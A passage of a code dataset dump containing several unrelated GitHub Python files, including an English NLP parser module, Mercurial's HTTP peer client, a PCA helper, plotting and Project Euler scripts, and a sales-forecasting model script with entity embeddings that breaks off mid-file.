import randint \n\n# List of values\nalphanum = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',\n 'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F',\n 'G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',\n 'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','-','_']\n\ndef rand():\n \"\"\" This will generate a random string of a provided length\"\"\"\n length = int(input('How long of a value? As an int. '))\n listOfValues = []\n for i in range(0,length):\n listOfValues.append(alphanum[randint(0,63)])\n stringOfValues=''.join(listOfValues)\n print(stringOfValues)\n\nif __name__ == '__main__':\n sys.exit(rand())\n\n \n","repo_name":"Ghostcognito/RandBase64Gen","sub_path":"rand.py","file_name":"rand.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34098648332","text":"from __future__ import unicode_literals\nfrom __future__ import division\n\nfrom builtins import str, bytes, dict, int\nfrom builtins import map, zip, filter\nfrom builtins import object, range\n\nimport os\nimport sys\n\ntry:\n MODULE = os.path.dirname(os.path.realpath(__file__))\nexcept:\n MODULE = \"\"\n\nsys.path.insert(0, os.path.join(MODULE, \"..\", \"..\", \"..\", \"..\"))\n\n# Import parser base classes.\nfrom pattern.text import (\n Lexicon, Model, Morphology, Context, Parser as _Parser, ngrams, pprint, commandline,\n PUNCTUATION\n)\n# Import parser universal tagset.\nfrom pattern.text import (\n penntreebank2universal,\n PTB, PENN, UNIVERSAL,\n NOUN, VERB, ADJ, ADV, PRON, DET, PREP, ADP, NUM, CONJ, INTJ, PRT, PUNC, X\n)\n# Import parse tree base classes.\nfrom pattern.text.tree import (\n Tree, Text, Sentence, Slice, Chunk, PNPChunk, Chink, Word, table,\n SLASH, WORD, POS, CHUNK, PNP, REL, ANCHOR, LEMMA, AND, OR\n)\n# Import sentiment analysis base classes.\nfrom pattern.text import (\n Sentiment as _Sentiment, NOUN, VERB, ADJECTIVE, ADVERB\n)\n# Import spelling base class.\nfrom pattern.text import (\n Spelling\n)\n# Import verb tenses.\nfrom pattern.text import (\n INFINITIVE, PRESENT, PAST, FUTURE,\n FIRST, SECOND, THIRD,\n SINGULAR, PLURAL, SG, PL,\n PROGRESSIVE,\n PARTICIPLE\n)\n# Import inflection functions.\nfrom pattern.text.en.inflect import (\n article, referenced, DEFINITE, INDEFINITE,\n pluralize, singularize, NOUN, VERB, ADJECTIVE,\n grade, comparative, superlative, COMPARATIVE, SUPERLATIVE,\n verbs, conjugate, lemma, lexeme, tenses,\n predicative, attributive\n)\n# Import quantification functions.\nfrom pattern.text.en.inflect_quantify import (\n number, numerals, quantify, reflect\n)\n# Import mood & modality functions.\nfrom pattern.text.en.modality import (\n mood, INDICATIVE, IMPERATIVE, CONDITIONAL, SUBJUNCTIVE,\n modality, uncertain, EPISTEMIC,\n negated\n)\n# Import all submodules.\nfrom pattern.text.en import inflect\nfrom pattern.text.en import wordnet\nfrom pattern.text.en import wordlist\n\nsys.path.pop(0)\n\n#--- ENGLISH PARSER --------------------------------------------------------------------------------\n\n\ndef find_lemmata(tokens):\n \"\"\" Annotates the tokens with lemmata for plural nouns and conjugated verbs,\n where each token is a [word, part-of-speech] list.\n \"\"\"\n for token in tokens:\n word, pos, lemma = token[0], token[1], token[0]\n # cats => cat\n if pos == \"NNS\":\n lemma = singularize(word)\n # sat => sit\n if pos.startswith((\"VB\", \"MD\")):\n lemma = conjugate(word, INFINITIVE) or word\n token.append(lemma.lower())\n return tokens\n\n\nclass Parser(_Parser):\n\n def find_lemmata(self, tokens, **kwargs):\n return find_lemmata(tokens)\n\n def find_tags(self, tokens, **kwargs):\n if kwargs.get(\"tagset\") in (PENN, None):\n kwargs.setdefault(\"map\", lambda token, tag: (token, tag))\n if kwargs.get(\"tagset\") == UNIVERSAL:\n kwargs.setdefault(\"map\", lambda token, tag: penntreebank2universal(token, tag))\n return _Parser.find_tags(self, tokens, **kwargs)\n\n\nclass Sentiment(_Sentiment):\n\n def load(self, path=None):\n _Sentiment.load(self, path)\n # Map \"terrible\" to adverb \"terribly\" (+1% accuracy)\n if not path:\n for w, pos in list(dict.items(self)):\n if \"JJ\" in pos:\n if w.endswith(\"y\"):\n w = w[:-1] + \"i\"\n if w.endswith(\"le\"):\n w = w[:-2]\n p, s, i = pos[\"JJ\"]\n self.annotate(w + \"ly\", \"RB\", p, s, i)\n\nparser = Parser(\n lexicon = os.path.join(MODULE, \"en-lexicon.txt\"), # A dict of known words => most frequent tag.\n frequency = os.path.join(MODULE, \"en-frequency.txt\"), # A dict of word frequency.\n model = os.path.join(MODULE, \"en-model.slp\"), # A SLP classifier trained on WSJ (01-07).\n morphology = os.path.join(MODULE, \"en-morphology.txt\"), # A set of suffix rules (e.g., -ly = adverb).\n context = os.path.join(MODULE, \"en-context.txt\"), # A set of contextual rules.\n entities = os.path.join(MODULE, \"en-entities.txt\"), # A dict of named entities: John = NNP-PERS.\n default = (\"NN\", \"NNP\", \"CD\"),\n language = \"en\"\n)\n\nlexicon = parser.lexicon # Expose lexicon.\n\nsentiment = Sentiment(\n path = os.path.join(MODULE, \"en-sentiment.xml\"),\n synset = \"wordnet_id\",\n negations = (\"no\", \"not\", \"n't\", \"never\"),\n modifiers = (\"RB\",),\n modifier = lambda w: w.endswith(\"ly\"),\n tokenizer = parser.find_tokens,\n language = \"en\"\n)\n\nspelling = Spelling(\n path=os.path.join(MODULE, \"en-spelling.txt\")\n)\n\n\ndef tokenize(s, *args, **kwargs):\n \"\"\" Returns a list of sentences, where punctuation marks have been split from words.\n \"\"\"\n return parser.find_tokens(s, *args, **kwargs)\n\n\ndef parse(s, *args, **kwargs):\n \"\"\" Returns a tagged Unicode string.\n \"\"\"\n return parser.parse(s, *args, **kwargs)\n\n\ndef parsetree(s, *args, **kwargs):\n \"\"\" Returns a parsed Text from the given string.\n \"\"\"\n return Text(parse(s, *args, **kwargs))\n\n\ndef tree(s, token=[WORD, POS, CHUNK, PNP, REL, LEMMA]):\n \"\"\" Returns a parsed Text from the given parsed string.\n \"\"\"\n return Text(s, token)\n\n\ndef tag(s, tokenize=True, encoding=\"utf-8\", **kwargs):\n \"\"\" Returns a list of (token, tag)-tuples from the given string.\n \"\"\"\n tags = []\n for sentence in parse(s, tokenize, True, False, False, False, encoding, **kwargs).split():\n for token in sentence:\n tags.append((token[0], token[1]))\n return tags\n\n\ndef keywords(s, top=10, **kwargs):\n \"\"\" Returns a sorted list of keywords in the given string.\n \"\"\"\n return parser.find_keywords(s, **dict({\n \"frequency\": parser.frequency,\n \"top\": top,\n \"pos\": (\"NN\",),\n \"ignore\": (\"rt\",)}, **kwargs))\n\n\ndef suggest(w):\n \"\"\" Returns a list of (word, confidence)-tuples of spelling corrections.\n \"\"\"\n return spelling.suggest(w)\n\n\ndef polarity(s, **kwargs):\n \"\"\" Returns the sentence polarity (positive/negative) between -1.0 and 1.0.\n \"\"\"\n return sentiment(s, **kwargs)[0]\n\n\ndef subjectivity(s, **kwargs):\n \"\"\" Returns the sentence subjectivity (objective/subjective) between 0.0 and 1.0.\n \"\"\"\n return sentiment(s, **kwargs)[1]\n\n\ndef positive(s, threshold=0.1, **kwargs):\n \"\"\" Returns True if the given sentence has a positive sentiment (polarity >= threshold).\n \"\"\"\n return polarity(s, **kwargs) >= threshold\n\nsplit = tree # Backwards compatibility.\n\n#---------------------------------------------------------------------------------------------------\n# python -m pattern.en xml -s \"The cat sat on the mat.\" -OTCL\n\nif __name__ == \"__main__\":\n commandline(parse)\n","repo_name":"clips/pattern","sub_path":"pattern/text/en/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6858,"program_lang":"python","lang":"en","doc_type":"code","stars":8585,"dataset":"github-code","pt":"52"} +{"seq_id":"40143226458","text":"from pylab import figure, ylabel, xticks, bar, \\\n legend, savefig, text\n\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 10, 5\n\ngroups = [\"Exact match\", \"Paraphrasing\", \"Partial clue\", \"Multi. sent.\", \"Coref. errors\", \"Hard\", \"All\"]\n\ndata = [[100, 95.1, 89.5, 50.0, 37.5, 5.9, 74.0],\n [100, 78.1, 73.7, 50.0, 50.0, 11.8, 66.0]]\n\nfigure()\nylabel('Accuracy')\n\nx1 = [2.0 + 10.0 * k for k in range(7)]\n\nxticks([x + 0.75 for x in x1], groups)\n\nwidth = 2.5\nbar(x1, data[0], width=width, color=\"#56B4E9\", label=\"Stanford Attentive Reader\", edgecolor='k')\nbar([x + width for x in x1], data[1], width=width, color=\"#E69F00\", label=\"Feature-based Classifier\", edgecolor='k')\n# bar([x + 1.0 for x in x1], data[2], width=0.45, color=\"#94c6da\", label=\"WebQuestions\", edgecolor='k')\n# bar([x + 1.5 for x in x1], data[3], width=0.45, color=\"#1770ab\", label=\"WikiMovies\", edgecolor='k')\n\nfor j in range(len(data[0])):\n text(x1[j] - 1.5, data[0][j] + 0.75, str(data[0][j]))\n\nfor j in range(len(data[1])):\n text(x1[j] + width - 1.0, data[1][j] + 0.75, str(data[1][j]))\n\nlegend()\nsavefig('barplot.png')\n","repo_name":"danqi/thesis","sub_path":"img/scripts/gen_cnn_analysis.py","file_name":"gen_cnn_analysis.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":214,"dataset":"github-code","pt":"52"} +{"seq_id":"11694348665","text":"import numpy as np\r\n\r\n\r\ndef pca(data):\r\n n = 3\r\n mean = np.mean(data, axis=0)\r\n zero_mean_data = data - mean\r\n cov = np.cov(zero_mean_data, rowvar=False)\r\n value, vec = np.linalg.eig(cov)\r\n index = np.argsort(value)\r\n n_index = index[-n:]\r\n n_vec = vec[:, n_index]\r\n low_dim_data = np.dot(zero_mean_data, n_vec)\r\n return low_dim_data\r\n","repo_name":"ZhaoJichun1/project1","sub_path":"PCA.py","file_name":"PCA.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8740284821","text":"# Problem 71\n# Ordered fractions\n\n'''\nI first solved this by using some intuition and guess and check. The \ncoding solution is similar to my solution to Problem 85. I start with 1/1 \nand then keep adding one to the numerator or denominator, based on \nwhether I was too high or too low.\n'''\n\nn = 1\nd = 1\nx = 3/7\nmin_diff = 1\nwhile d <= 1_000_000:\n if n/d < x:\n temp_diff = x - n/d\n if temp_diff < min_diff:\n min_diff = temp_diff\n min_n = n\n min_d = d\n n += 1\n else:\n d += 1\n \nprint(f'Fraction to the left: {min_n}/{min_d}')\n","repo_name":"cavandervoort/Project-Euler-001-to-100","sub_path":"Euler_071.py","file_name":"Euler_071.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15958025475","text":"from __future__ import absolute_import\n\nimport errno\nimport os\nimport socket\nimport struct\nimport tempfile\n\nfrom .i18n import _\nfrom .node import nullid\nfrom . import (\n bundle2,\n error,\n httpconnection,\n pycompat,\n statichttprepo,\n url,\n util,\n wireproto,\n)\n\nhttplib = util.httplib\nurlerr = util.urlerr\nurlreq = util.urlreq\n\ndef encodevalueinheaders(value, header, limit):\n \"\"\"Encode a string value into multiple HTTP headers.\n\n ``value`` will be encoded into 1 or more HTTP headers with the names\n ``header-`` where ```` is an integer starting at 1. Each header\n name + value will be at most ``limit`` bytes long.\n\n Returns an iterable of 2-tuples consisting of header names and values.\n \"\"\"\n fmt = header + '-%s'\n valuelen = limit - len(fmt % '000') - len(': \\r\\n')\n result = []\n\n n = 0\n for i in xrange(0, len(value), valuelen):\n n += 1\n result.append((fmt % str(n), value[i:i + valuelen]))\n\n return result\n\ndef _wraphttpresponse(resp):\n \"\"\"Wrap an HTTPResponse with common error handlers.\n\n This ensures that any I/O from any consumer raises the appropriate\n error and messaging.\n \"\"\"\n origread = resp.read\n\n class readerproxy(resp.__class__):\n def read(self, size=None):\n try:\n return origread(size)\n except httplib.IncompleteRead as e:\n # e.expected is an integer if length known or None otherwise.\n if e.expected:\n msg = _('HTTP request error (incomplete response; '\n 'expected %d bytes got %d)') % (e.expected,\n len(e.partial))\n else:\n msg = _('HTTP request error (incomplete response)')\n\n raise error.PeerTransportError(\n msg,\n hint=_('this may be an intermittent network failure; '\n 'if the error persists, consider contacting the '\n 'network or server operator'))\n except httplib.HTTPException as e:\n raise error.PeerTransportError(\n _('HTTP request error (%s)') % e,\n hint=_('this may be an intermittent network failure; '\n 'if the error persists, consider contacting the '\n 'network or server operator'))\n\n resp.__class__ = readerproxy\n\nclass httppeer(wireproto.wirepeer):\n def __init__(self, ui, path):\n self.path = path\n self.caps = None\n self.handler = None\n self.urlopener = None\n self.requestbuilder = None\n u = util.url(path)\n if u.query or u.fragment:\n raise error.Abort(_('unsupported URL component: \"%s\"') %\n (u.query or u.fragment))\n\n # urllib cannot handle URLs with embedded user or passwd\n self._url, authinfo = u.authinfo()\n\n self.ui = ui\n self.ui.debug('using %s\\n' % self._url)\n\n self.urlopener = url.opener(ui, authinfo)\n self.requestbuilder = urlreq.request\n\n def __del__(self):\n urlopener = getattr(self, 'urlopener', None)\n if urlopener:\n for h in urlopener.handlers:\n h.close()\n getattr(h, \"close_all\", lambda : None)()\n\n def url(self):\n return self.path\n\n # look up capabilities only when needed\n\n def _fetchcaps(self):\n self.caps = set(self._call('capabilities').split())\n\n def _capabilities(self):\n if self.caps is None:\n try:\n self._fetchcaps()\n except error.RepoError:\n self.caps = set()\n self.ui.debug('capabilities: %s\\n' %\n (' '.join(self.caps or ['none'])))\n return self.caps\n\n def lock(self):\n raise error.Abort(_('operation not supported over http'))\n\n def _callstream(self, cmd, _compressible=False, **args):\n if cmd == 'pushkey':\n args['data'] = ''\n data = args.pop('data', None)\n headers = args.pop('headers', {})\n\n self.ui.debug(\"sending %s command\\n\" % cmd)\n q = [('cmd', cmd)]\n headersize = 0\n varyheaders = []\n # Important: don't use self.capable() here or else you end up\n # with infinite recursion when trying to look up capabilities\n # for the first time.\n postargsok = self.caps is not None and 'httppostargs' in self.caps\n # TODO: support for httppostargs when data is a file-like\n # object rather than a basestring\n canmungedata = not data or isinstance(data, basestring)\n if postargsok and canmungedata:\n strargs = urlreq.urlencode(sorted(args.items()))\n if strargs:\n if not data:\n data = strargs\n elif isinstance(data, basestring):\n data = strargs + data\n headers['X-HgArgs-Post'] = len(strargs)\n else:\n if len(args) > 0:\n httpheader = self.capable('httpheader')\n if httpheader:\n headersize = int(httpheader.split(',', 1)[0])\n if headersize > 0:\n # The headers can typically carry more data than the URL.\n encargs = urlreq.urlencode(sorted(args.items()))\n for header, value in encodevalueinheaders(encargs, 'X-HgArg',\n headersize):\n headers[header] = value\n varyheaders.append(header)\n else:\n q += sorted(args.items())\n qs = '?%s' % urlreq.urlencode(q)\n cu = \"%s%s\" % (self._url, qs)\n size = 0\n if util.safehasattr(data, 'length'):\n size = data.length\n elif data is not None:\n size = len(data)\n if size and self.ui.configbool('ui', 'usehttp2'):\n headers['Expect'] = '100-Continue'\n headers['X-HgHttp2'] = '1'\n if data is not None and 'Content-Type' not in headers:\n headers['Content-Type'] = 'application/mercurial-0.1'\n\n # Tell the server we accept application/mercurial-0.2 and multiple\n # compression formats if the server is capable of emitting those\n # payloads.\n protoparams = []\n\n mediatypes = set()\n if self.caps is not None:\n mt = self.capable('httpmediatype')\n if mt:\n protoparams.append('0.1')\n mediatypes = set(mt.split(','))\n\n if '0.2tx' in mediatypes:\n protoparams.append('0.2')\n\n if '0.2tx' in mediatypes and self.capable('compression'):\n # We /could/ compare supported compression formats and prune\n # non-mutually supported or error if nothing is mutually supported.\n # For now, send the full list to the server and have it error.\n comps = [e.wireprotosupport().name for e in\n util.compengines.supportedwireengines(util.CLIENTROLE)]\n protoparams.append('comp=%s' % ','.join(comps))\n\n if protoparams:\n protoheaders = encodevalueinheaders(' '.join(protoparams),\n 'X-HgProto',\n headersize or 1024)\n for header, value in protoheaders:\n headers[header] = value\n varyheaders.append(header)\n\n if varyheaders:\n headers['Vary'] = ','.join(varyheaders)\n\n req = self.requestbuilder(cu, data, headers)\n\n if data is not None:\n self.ui.debug(\"sending %s bytes\\n\" % size)\n req.add_unredirected_header('Content-Length', '%d' % size)\n try:\n resp = self.urlopener.open(req)\n except urlerr.httperror as inst:\n if inst.code == 401:\n raise error.Abort(_('authorization failed'))\n raise\n except httplib.HTTPException as inst:\n self.ui.debug('http error while sending %s command\\n' % cmd)\n self.ui.traceback()\n raise IOError(None, inst)\n\n # Insert error handlers for common I/O failures.\n _wraphttpresponse(resp)\n\n # record the url we got redirected to\n resp_url = resp.geturl()\n if resp_url.endswith(qs):\n resp_url = resp_url[:-len(qs)]\n if self._url.rstrip('/') != resp_url.rstrip('/'):\n if not self.ui.quiet:\n self.ui.warn(_('real URL is %s\\n') % resp_url)\n self._url = resp_url\n try:\n proto = resp.getheader('content-type')\n except AttributeError:\n proto = resp.headers.get('content-type', '')\n\n safeurl = util.hidepassword(self._url)\n if proto.startswith('application/hg-error'):\n raise error.OutOfBandError(resp.read())\n # accept old \"text/plain\" and \"application/hg-changegroup\" for now\n if not (proto.startswith('application/mercurial-') or\n (proto.startswith('text/plain')\n and not resp.headers.get('content-length')) or\n proto.startswith('application/hg-changegroup')):\n self.ui.debug(\"requested URL: '%s'\\n\" % util.hidepassword(cu))\n raise error.RepoError(\n _(\"'%s' does not appear to be an hg repository:\\n\"\n \"---%%<--- (%s)\\n%s\\n---%%<---\\n\")\n % (safeurl, proto or 'no content-type', resp.read(1024)))\n\n if proto.startswith('application/mercurial-'):\n try:\n version = proto.split('-', 1)[1]\n version_info = tuple([int(n) for n in version.split('.')])\n except ValueError:\n raise error.RepoError(_(\"'%s' sent a broken Content-Type \"\n \"header (%s)\") % (safeurl, proto))\n\n # TODO consider switching to a decompression reader that uses\n # generators.\n if version_info == (0, 1):\n if _compressible:\n return util.compengines['zlib'].decompressorreader(resp)\n return resp\n elif version_info == (0, 2):\n # application/mercurial-0.2 always identifies the compression\n # engine in the payload header.\n elen = struct.unpack('B', resp.read(1))[0]\n ename = resp.read(elen)\n engine = util.compengines.forwiretype(ename)\n return engine.decompressorreader(resp)\n else:\n raise error.RepoError(_(\"'%s' uses newer protocol %s\") %\n (safeurl, version))\n\n if _compressible:\n return util.compengines['zlib'].decompressorreader(resp)\n\n return resp\n\n def _call(self, cmd, **args):\n fp = self._callstream(cmd, **args)\n try:\n return fp.read()\n finally:\n # if using keepalive, allow connection to be reused\n fp.close()\n\n def _callpush(self, cmd, cg, **args):\n # have to stream bundle to a temp file because we do not have\n # http 1.1 chunked transfer.\n\n types = self.capable('unbundle')\n try:\n types = types.split(',')\n except AttributeError:\n # servers older than d1b16a746db6 will send 'unbundle' as a\n # boolean capability. They only support headerless/uncompressed\n # bundles.\n types = [\"\"]\n for x in types:\n if x in bundle2.bundletypes:\n type = x\n break\n\n tempname = bundle2.writebundle(self.ui, cg, None, type)\n fp = httpconnection.httpsendfile(self.ui, tempname, \"rb\")\n headers = {'Content-Type': 'application/mercurial-0.1'}\n\n try:\n r = self._call(cmd, data=fp, headers=headers, **args)\n vals = r.split('\\n', 1)\n if len(vals) < 2:\n raise error.ResponseError(_(\"unexpected response:\"), r)\n return vals\n except socket.error as err:\n if err.args[0] in (errno.ECONNRESET, errno.EPIPE):\n raise error.Abort(_('push failed: %s') % err.args[1])\n raise error.Abort(err.args[1])\n finally:\n fp.close()\n os.unlink(tempname)\n\n def _calltwowaystream(self, cmd, fp, **args):\n fh = None\n fp_ = None\n filename = None\n try:\n # dump bundle to disk\n fd, filename = tempfile.mkstemp(prefix=\"hg-bundle-\", suffix=\".hg\")\n fh = os.fdopen(fd, pycompat.sysstr(\"wb\"))\n d = fp.read(4096)\n while d:\n fh.write(d)\n d = fp.read(4096)\n fh.close()\n # start http push\n fp_ = httpconnection.httpsendfile(self.ui, filename, \"rb\")\n headers = {'Content-Type': 'application/mercurial-0.1'}\n return self._callstream(cmd, data=fp_, headers=headers, **args)\n finally:\n if fp_ is not None:\n fp_.close()\n if fh is not None:\n fh.close()\n os.unlink(filename)\n\n def _callcompressable(self, cmd, **args):\n return self._callstream(cmd, _compressible=True, **args)\n\n def _abort(self, exception):\n raise exception\n\nclass httpspeer(httppeer):\n def __init__(self, ui, path):\n if not url.has_https:\n raise error.Abort(_('Python support for SSL and HTTPS '\n 'is not installed'))\n httppeer.__init__(self, ui, path)\n\ndef instance(ui, path, create):\n if create:\n raise error.Abort(_('cannot create new http repository'))\n try:\n if path.startswith('https:'):\n inst = httpspeer(ui, path)\n else:\n inst = httppeer(ui, path)\n try:\n # Try to do useful work when checking compatibility.\n # Usually saves a roundtrip since we want the caps anyway.\n inst._fetchcaps()\n except error.RepoError:\n # No luck, try older compatibility check.\n inst.between([(nullid, nullid)])\n return inst\n except error.RepoError as httpexception:\n try:\n r = statichttprepo.instance(ui, \"static-\" + path, create)\n ui.note(_('(falling back to static-http)\\n'))\n return r\n except error.RepoError:\n raise httpexception # use the original http RepoError instead\n","repo_name":"EnjoyLifeFund/macHighSierra-cellars","sub_path":"mercurial/4.3.3/lib/python2.7/site-packages/mercurial/httppeer.py","file_name":"httppeer.py","file_ext":"py","file_size_in_byte":14578,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"5988829081","text":"import pickle\nimport numpy as np\nimport pandas as pd\nnp.random.seed(123) \nfrom sklearn import linear_model\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.svm import SVR\nfrom sklearn.preprocessing import StandardScaler\n#import xgboost as xgb\nfrom sklearn import neighbors\nfrom sklearn.preprocessing import Normalizer\n\nfrom keras.models import Sequential\nfrom keras.models import Model as KerasModel\nfrom keras.layers import Input, Dense, Activation, Reshape\nfrom keras.layers import Concatenate\nfrom keras.layers.embeddings import Embedding\nfrom keras.callbacks import ModelCheckpoint\n\n\ndef sample(X, y, n):\n '''\n take n random samples from the original data X, y\n X: numpy array\n '''\n num_row = X.shape[0]\n indices = np.random.randint(num_row, size=n)\n return X[indices], y[indices]\n\ndef get_train_val(df_train, features, target, val_ratio=0.1, shuffle_data=False):\n \"\"\" \n Use the latest 10% records for validation.\n From the remaining 90% records, randomly select 200k for training.\n \"\"\"\n print(\"Check: 'Date' should be in descending order:\")\n print(df_train[:5])\n print(df_train[-5:])\n\n X = df_train[features]\n y = df_train[target]\n print(\"features used:\")\n print(pd.concat((X[:5], y[:5]), axis=1))\n\n # convert to numpy array, so that shuffle, sample can index\n X = np.asarray(X)\n y = np.asarray(y).ravel()\n\n if shuffle_data:\n print(\"Use shuffled data\")\n sh = np.arange(X.shape[0])\n np.random.shuffle(sh)\n X = X[sh]\n y = y[sh]\n else:\n print(\"Use un-shuffled data\")\n\n num_records = X.shape[0]\n val_size = int(val_ratio * num_records)\n \n # latest 10% for validation, 84433 records\n X_val = X[:val_size] \n y_val = y[:val_size]\n \n # remaining 90%, 759905 records\n X_train = X[val_size:] \n y_train = y[val_size:]\n \n # randomly select 200k records for training (for data sparsity)\n X_train, y_train = sample(X_train, y_train, 200000)\n print(\"training X: \", X_train.shape)\n print(\"validation X: \", X_val.shape)\n return X_train, X_val, y_train, y_val\n\ndef calc_embedding_size(df, features_em, N_em):\n \"\"\" \n df: pandas DataFrame\n features_em: features to be embedded, e.g., ['Store', 'DayOfWeek', 'Year', 'Month', 'Day', 'State']\n N_em: embedding dim, None (automatically derived), or specified, e.g., \n # original dim: [1115, 7, 3, 12, 31, 12]\n # embedding dim:[ 10, 6, 2, 6, 10, 6]\n \"\"\"\n # original dimension\n N_cat = df[features_em].nunique()\n if N_em is None:\n # calculated embedding dim, half of the original dim, at most 50\n N_em = N_cat.apply(lambda x: int(min(np.ceil(x/2), 50))) \n else:\n # specified embedding dim\n N_em = pd.Series(N_em, index=N_cat.index) \n em_size = pd.DataFrame([N_cat, N_em], index=['orig_dim', 'em_dim'])\n return em_size\n\n\ndef save_embeddings(model, embeddings_path, features_em):\n embeddings = []\n for fname in features_em:\n # embedding layer name: see models.py, class NN_with_EntityEmbedding\n em = model.get_layer(fname+'_em').get_weights()[0]\n embeddings.append(em)\n embeddings_dict = dict(zip(features_em, embeddings)) # usage: embeddings_dict['Store']\n with open(embeddings_path, 'wb') as f:\n print(\"Save trained embeddings to: {}\".format(embeddings_path))\n pickle.dump(embeddings_dict, f, -1)\n\n\ndef load_embeddings(embeddings_path):\n with open(embeddings_path, 'rb') as f:\n print(\"Load embeddings from: {}\".format(embeddings_path))\n embeddings_dict = pickle.load(f) # usage: embeddings_dict['Store']\n features_em = list(embeddings_dict.keys())\n em_size = pd.DataFrame(index=['orig_dim', 'em_dim'], columns=features_em)\n for ff, em_vec in embeddings_dict.items():\n em_size[ff] = em_vec.shape\n print(\"embedding size:\")\n print(em_size)\n return features_em, embeddings_dict, em_size\n\n\ndef embed_features(X, embeddings_dict, features, features_em):\n \"\"\"\n convert categorical features to embeddings\n X: numpy array\n X_em: numpy array\n \"\"\"\n (num_records, num_features) = X.shape\n assert(num_features == len(features))\n \n X_em = np.array([]).reshape((num_records,0))\n for ii, fname in enumerate(features):\n if fname not in features_em:\n feat_em = X[:, ii] # original value\n else:\n feat_em = list(map(lambda x: embeddings_dict[fname][x], X[:, ii])) # embedded value\n \n feat_em = np.array(feat_em).reshape(num_records, -1)\n X_em = np.concatenate((X_em, feat_em), axis=1)\n return X_em\n\n\nclass Model(object):\n\n def evaluate(self, X_val, y_val):\n \"\"\" \n Calculate MAPE performance of the model\n \"\"\"\n assert(min(y_val) > 0)\n y_val = y_val.ravel() # shape (84434,)\n y_hat = self.guess(X_val).ravel() # shape (84434,)\n assert(y_val.shape == y_hat.shape)\n\n # calculate MAPE\n err_ape = np.abs((y_val - y_hat) / y_val)# APE: absolute percentage error\n err_mape = np.mean(err_ape) # MAPE: mean absolute percentage error\n return err_mape\n \n\nclass LinearModel(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n self.clf = linear_model.LinearRegression()\n self.clf.fit(X_train, np.log(y_train))\n \n # print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, feature):\n return np.exp(self.clf.predict(feature))\n\n\nclass RF(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n self.clf = RandomForestRegressor(n_estimators=200, verbose=1, max_depth=35, min_samples_split=2,\n min_samples_leaf=1, n_jobs=-1)\n self.clf.fit(X_train, np.log(y_train)) # verbose=1: print training progress\n \n # print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, feature):\n return np.exp(self.clf.predict(feature))\n\n\nclass SVM(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n self.X_train = X_train\n self.y_train = y_train\n self.__normalize_data()\n self.clf = SVR(kernel='linear', degree=3, gamma='auto', coef0=0.0, tol=0.001,\n C=1.0, epsilon=0.1, shrinking=True, cache_size=200, verbose=False, max_iter=-1)\n\n self.clf.fit(self.X_train, np.log(self.y_train))\n print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def __normalize_data(self):\n self.scaler = StandardScaler()\n self.X_train = self.scaler.fit_transform(self.X_train)\n\n def guess(self, feature):\n return np.exp(self.clf.predict(feature))\n\n\"\"\"\nclass XGBoost(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n dtrain = xgb.DMatrix(X_train, label=np.log(y_train))\n evallist = [(dtrain, 'train')]\n param = {'nthread': -1,\n 'max_depth': 7,\n 'eta': 0.02,\n 'silent': 1,\n 'objective': 'reg:linear',\n 'colsample_bytree': 0.7,\n 'subsample': 0.7}\n num_round = 3000\n self.bst = xgb.train(param, dtrain, num_round, evallist)\n print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, feature):\n dtest = xgb.DMatrix(feature)\n return np.exp(self.bst.predict(dtest))\n\"\"\"\n\nclass HistoricalMedian(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n self.history = {}\n self.feature_index = [1, 2, 3, 4]\n for x, y in zip(X_train, y_train):\n key = tuple(x[self.feature_index])\n self.history.setdefault(key, []).append(y)\n print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, features):\n features = np.array(features)\n features = features[:, self.feature_index]\n guessed_sales = [np.median(self.history[tuple(feature)]) for feature in features]\n return np.array(guessed_sales)\n\n\nclass KNN(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val):\n super().__init__()\n self.normalizer = Normalizer()\n self.normalizer.fit(X_train)\n self.clf = neighbors.KNeighborsRegressor(n_neighbors=10, weights='distance', p=1)\n self.clf.fit(self.normalizer.transform(X_train), np.log(y_train))\n print(\"Result on validation data: \", self.evaluate(self.normalizer.transform(X_val), y_val))\n\n def guess(self, feature):\n return np.exp(self.clf.predict(self.normalizer.transform(feature)))\n\n\nclass NN_with_EntityEmbedding(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val, epochs, features, features_em, em_size):\n super().__init__()\n self.epochs = epochs\n self.checkpointer = ModelCheckpoint(filepath=\"best_model_weights.hdf5\", verbose=1, save_best_only=True)\n self.max_log_y = max(np.max(np.log(y_train)), np.max(np.log(y_val))) # save ymax for scaling\n self.__build_keras_model(features, features_em, em_size)\n self.fit(X_train, y_train, X_val, y_val)\n\n def preprocessing(self, X):\n # X: numpy array\n num_features = X.shape[1] # num features\n X_list = [X[:, [ff]] for ff in range(num_features)] # a list, each X_list[i] has shape (num_records, 1)\n return X_list\n \n def __build_keras_model(self, features, features_em, em_size): \n input_model = []\n output_embeddings = []\n for fname in features:\n if fname not in features_em:\n # features we do not embed, e.g., numerical features\n input_feature = 